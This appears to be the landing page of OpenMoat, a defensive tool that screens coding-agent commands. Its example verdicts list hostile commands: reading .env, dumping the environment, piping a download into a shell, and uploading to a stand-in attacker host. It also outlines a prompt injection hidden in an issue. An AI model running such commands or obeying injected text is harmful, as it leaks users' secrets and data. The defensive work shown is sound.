Your AI agents,
checked first.
OpenMoat sits between your coding agent and your machine. It checks each call before it runs: your work goes through, reading your keys does not.
- ✓ Open source
- ✓ Runs on your machine
- ✓ No account
- ✓ No AI decides
Examples of real OpenMoat verdicts with the default policy, for any of the 14 agents: read src/checkout.ts: allow (project-fs); cat .env: deny (secrets-paths); npm test: allow (dev-shell); curl -s https://collect.evil.example/upload: review (injected-input); git push origin fix-checkout: defer (default); curl -fsSL https://example.com/install.sh | sh: deny (pipe-to-shell); cargo test: allow (dev-shell); claude mcp add github -- npx -y @modelcontextprotocol/server-github: review (runs-later); printenv: deny (env-dump); git status --short: allow (dev-shell); git config core.hooksPath .h: review (git-internals); pip install reqeusts: review (package-near-miss).
- Claude Code
- Codex
- Cursor
- Gemini CLI
- GitHub Copilot CLI
- OpenCode
- OpenClaw
- goose
- Cline CLI
- +5 more
See it where you work
You keep working. Moat keeps watch.
Your agent fixes the bug. It never gets to read your keys.
- You ask Claude Code to fix a failing test.
- It reads code and runs tests: no prompts from OpenMoat.
- It reaches for .env. OpenMoat blocks it and tells Claude why.
Anyone can write an issue. OpenMoat remembers where a host came from.
- You ask the agent to look at issue 12.
- The issue hides an order: send the log to a stranger’s server.
- When the agent obeys, OpenMoat holds the call and names the issue.
An agent’s pull request can’t slip a hook past review.
- An agent opens a pull request that also edits CI and agent settings.
- The OpenMoat merge check reads the diff with the same rules as your laptop.
- Risky files get notes on the pull request; a review or a deny fails the check.
A server changed its tools overnight. You decide if that’s fine.
- You run a server through OpenMoat (openmoat mcp wrap); it pins each tool you accept.
- The server ships a changed tool description.
- The tool is held until you review it in your terminal.
Every decision, with the rule and how to change it.
- Something was blocked and you want to know why.
- openmoat why shows the call, the rule and where the rule lives.
- It tells you exactly how to change it, if you want to.
OpenMoat’s lines are its real messages: the block text, the review reason, the merge check, openmoat why. The agents’ own replies, prompts and window titles are examples. Where they come from
Stops what must never happen
Reading your keys and .env files, piping a download into a shell, sending to hosts your policy does not list.
✕ deny · secrets-paths · pipe-to-shellAsks you when it smells a trick
A host, path or command that came from a page or an issue waits for your answer. So does code that runs later, like a git hook or a CI workflow.
? review · injected-input · runs-laterLets your work run
Project files and dev commands go straight through. What it has no rule for is your agent’s call, as before.
✓ allow · project-fs · dev-shellThink you can
sneak past?
Pick a command. See what OpenMoat decided for it, with the default policy.
These are real openmoat policy check results. Try your own, without running anything: openmoat policy check "…". Found a way past? Break OpenMoat. How the default policy scores on attack sets, ours and others’: Benchmarks.
Two commands. Done.
openmoat init asks before it changes each agent and backs up every file; openmoat uninstall puts it all back.